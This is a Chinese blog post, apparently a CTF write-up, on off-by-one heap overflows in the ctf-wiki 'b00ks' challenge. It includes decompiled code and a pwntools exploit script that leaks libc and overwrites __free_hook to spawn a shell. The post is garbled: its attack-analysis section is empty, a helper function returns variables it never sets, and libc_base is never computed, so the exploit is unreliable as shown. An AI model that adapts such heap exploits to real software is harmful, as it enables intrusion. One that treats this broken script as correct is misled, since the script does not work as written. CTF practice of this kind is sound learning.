## 前言

off-by-one 是指单字节缓冲区溢出，这种漏洞的产生往往与边界验证不严和字符串操作有关，当然也不排除写入的 size 正好就只多了一个字节的情况。其中边界验证不严通常包括

• 使用循环语句向堆块中写入数据时，循环的次数设置错误(这在 C 语言初学者中很常见)导致多写入了一个字节。
• 字符串操作不合适

ok，至于具体的例子我就不过多赘述了，直接上ctfwiki中看他写出的那两个小例子就行

## 题目分析

wiki的题我们就直接分析了，不再做过多测试。

struct book
{
int id;
char *name;
char *description;
int size;
}


v3 = malloc(0x20uLL);
if ( v3 )
{
*((_DWORD *)v3 + 6) = v1;
*((_QWORD *)off_202010 + v2) = v3;
*((_QWORD *)v3 + 2) = v5;
*((_QWORD *)v3 + 1) = ptr;
*(_DWORD *)v3 = ++unk_202024;
return 0LL;
}


v3就是创建的整个书本的指针，在 if 中的第二行我们可以看到程序将v3指针保存了起来,一路跟踪进去可以发现是 .bss 段的一个地址。 ## 攻击过程分析 ## EXP

EXP是ctf-challengs中自带的那个，但是这个题因为环境一变，有些东西就不一样了，所以得做出修改，根据上面的分析修改就行

from pwn import *
context.log_level="debug"

binary=ELF("b00ks")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
io=process("./b00ks")

def createbook(name_size,name,des_size,des):
io.sendline("1")
io.sendline(str(name_size))
io.sendline(name)
io.sendline(str(des_size))
io.sendline(des)

def printbook(id):
io.sendline("4")
for i in range(id):
return book_id,book_name,book_des,book_author

def createname(name):
io.sendline(name)

def changename(name):
io.sendline("5")
io.sendline(name)

def editbook(book_id,new_des):
io.sendline("3")
io.recvuntil(": ")
io.sendline(str(book_id))
io.recvuntil(": ")
io.sendline(new_des)

def deletebook(book_id):
io.sendline("2")
io.sendline(str(book_id))

createname("A"*32)

#gdb.attach(io)

createbook(208,"a",100,"a")
createbook(0x21000,"a",0x21000,"b")

#gdb.attach(io)

book_id_1,book_name,book_des,book_author=printbook(1)

changename("A"*32)
book_id_1,book_name,book_des,book_author=printbook(1)
#gdb.attach(io)
log.success("libc base:"+hex(libc_base))

#gdb.attach(io)

free_hook=libc_base+libc.symbols["__free_hook"]
log.success("free_hook:"+hex(free_hook))
#gdb.attach(io)

editbook(1,p64(free_hook))
#gdb.attach(io)

#gdb.attach(io)

deletebook(2)

io.interactive()


Q.E.D.
{"ft_lang_label":"__label__zh","ft_lang_prob":0.7576341,"math_prob":0.9576142,"size":5052,"snap":"2022-05-2022-21","text_gpt3_token_len":2730,"char_repetition_ratio":0.1588748,"word_repetition_ratio":0.0,"special_character_ratio":0.2709818,"punctuation_ratio":0.17585301,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.95605606,"pos_list":[0,1,2,3,4,5,6],"im_url_duplicate_count":[null,1,null,1,null,1,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-05-19T03:00:47Z\",\"WARC-Record-ID\":\"<urn:uuid:86ee4cba-f2f2-45c1-b897-09924c29792f>\",\"Content-Length\":\"49585\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:d897baf8-71a5-42b6-9b74-c1cc45e0e4de>\",\"WARC-Concurrent-To\":\"<urn:uuid:b339be73-3ac5-416c-b041-f3cd0dca9854>\",\"WARC-IP-Address\":\"49.233.35.90\",\"WARC-Target-URI\":\"https://buryia.top/archives/offbyone\",\"WARC-Payload-Digest\":\"sha1:KUPEV7XUZAAZUSYSEWVF7UCHRNVVCDDX\",\"WARC-Block-Digest\":\"sha1:RLSMSIIK452TCN3CZMV6GLYSBG3LYC2W\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-21/CC-MAIN-2022-21_segments_1652662522741.25_warc_CC-MAIN-20220519010618-20220519040618-00600.warc.gz\"}"}